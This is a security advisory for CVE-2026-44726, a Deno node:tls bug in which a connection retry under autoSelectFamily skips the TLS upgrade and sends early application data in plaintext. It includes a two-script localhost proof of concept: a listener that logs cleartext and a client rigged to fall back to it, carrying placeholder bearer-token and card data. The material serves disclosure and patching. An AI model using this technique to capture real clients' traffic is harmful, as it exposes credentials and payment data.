---
id: CVE-2026-44726
aliases:
  - GHSA-chqv-56wv-7564
title: 'Deno''s TLS retry copies stale upgrade hook, risking plaintext traffic'
summary: 'Deno''s TLS retry copies stale upgrade hook, risking plaintext traffic'
severity: high
cvss: 7.4
cvssVector: 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N'
vendor: deno
product: deno
ecosystem: rust
affected:
  - 'deno >= 2.0.0, < 2.7.8'
patched:
  - deno 2.7.8
published: '2026-05-27'
updated: '2026-07-20'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-chqv-56wv-7564'
references:
  - url: 'https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-44726'
  - url: 'https://github.com/denoland/deno'
tags:
  - osv
  - rust
epss: 0.00234
epssPercentile: 0.14621
ingestedAt: '2026-07-20T19:04:14.942Z'
---

## Overview

## Summary

A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. 

As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the `secureConnect` event travelled over the network unencrypted.

A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.

**Affected APIs**: Applications using Deno's `node:tls` or `node:https` surface with `autoSelectFamily` enabled (the default) that wrote to the socket before the `secureConnect` event.

## Proof of concept

`attacker.mjs` (captures whatever the client sends)

```ts
import net from "node:net";

const server = net.createServer((socket) => {
  console.log("[attacker] client connected from", socket.remoteAddress);
  socket.on("data", (chunk) => {
    // If TLS were working, this would be an opaque ClientHello.
    // If the bug fires, we see the application payload in cleartext.
    console.log("[attacker] received", chunk.length, "bytes:");
    console.log(chunk.toString("utf8"));
  });
});

server.listen(4444, "127.0.0.1", () => {
  console.log("[attacker] listening on 127.0.0.1:4444");
});
```

`victim.mjs` (a normal-looking TLS client)

```ts
import tls from "node:tls";

const socket = tls.connect({
  host: "api.example.invalid",
  port: 4444,
  autoSelectFamily: true, // Node-compat default

  // First address is a black hole (nothing on [::1]:4444),
  // so autoSelectFamily falls back to the second address.
  // In a real attack, the on-path attacker arranges this via
  // routing, DNS, or by dropping the first SYN.
  lookup: (_host, _opts, cb) => {
    cb(null, [
      { address: "::1",       family: 6 }, // fails -> retry
      { address: "127.0.0.1", family: 4 }, // attacker
    ]);
  },

  rejectUnauthorized: false,
});

// Application writes BEFORE secureConnect — common pattern in
// Node clients that pipe a request body or send a greeting.
socket.write("POST /v1/charge HTTP/1.1\r\n");
socket.write("Authorization: Bearer sk_live_SECRET_TOKEN\r\n");
socket.write("Content-Type: application/json\r\n\r\n");
socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));

socket.on("secureConnect", () => console.log("[victim] secureConnect"));
socket.on("error",         (e) => console.log("[victim] error:", e.message));
```


In terminal 1 `deno run --allow-net attacker.mjs`
In terminal 2 `deno run --allow-net victim.mjs`

### Expected vs. observed

On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with `0x16 0x03
0x01 …`), and the victim eventually errors out because the attacker isn't speaking TLS.

On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:

```
[attacker] received 41 bytes:
POST /v1/charge HTTP/1.1
Authorization: Bearer sk_live_SECRET_TOKEN
...
```

The bearer token, the request body, and the card number all appear in plaintext, even though the application used
`tls.connect`.

## Affected packages

- `deno >= 2.0.0, < 2.7.8`

## Remediation

Upgrade to a patched release:

- `deno 2.7.8`